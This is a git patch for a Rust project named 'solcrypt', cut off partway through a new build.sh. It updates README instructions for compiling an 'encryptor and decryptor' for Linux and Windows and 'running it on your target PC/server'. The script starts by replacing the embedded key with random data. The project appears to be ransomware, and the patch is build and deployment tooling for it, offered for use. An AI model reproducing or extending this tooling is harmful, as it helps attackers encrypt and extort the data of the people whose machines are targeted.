From e4a80f50c8ae1875e795e6d9210a24fbf176990d Mon Sep 17 00:00:00 2001 From: Xory Date: Sun, 16 Jun 2024 12:13:57 +0300 Subject: [PATCH] feat: add build.sh --- README.md | 13 ++----------- build.sh | 35 +++++++++++++++++++++++++++++++++++ 2 files changed, 37 insertions(+), 11 deletions(-) create mode 100644 build.sh diff --git a/README.md b/README.md index 1a3ba06..c24b50c 100644 --- a/README.md +++ b/README.md @@ -7,19 +7,10 @@ Arch ``` sudo pacman -S rustup rustup default stable -rustup target add x86_64-pc-windows-msvc # if compiling against windows targets +rustup target add x86_64-pc-windows-gnu # if compiling for windows targets git clone https://git.xorycode.dev/xory/solcrypt cd solcrypt -cargo build --release --bin solcrypt_main # linux targets -cargo build --target x86_64-pc-windows-msvc --bin solcrypt_main --release # windows targets +bash build.sh # this builds both encryptor and decryptor ``` Then run it on your target PC/server -### Decryptor -Assuming you already have the source code cloned -Arch -``` -cd solcrypt -cargo build --release --bin decryptor # linux targets -cargo build --target x86_64-pc-windows-msvc --bin decryptor --release # windows targets -``` diff --git a/build.sh b/build.sh new file mode 100644 index 0000000..017ee3a --- /dev/null +++ b/build.sh @@ -0,0 +1,35 @@ +#! /bin/bash +echo "SOLCRYPT v. 001" +echo "Build Script v. 001" +echo "[!] Preparing..." +cp src/crypto.rs src/crypto.rs.bak +echo "[i] Replacing key with random data." +export KEY="$(tr -dc A-Za-z0-9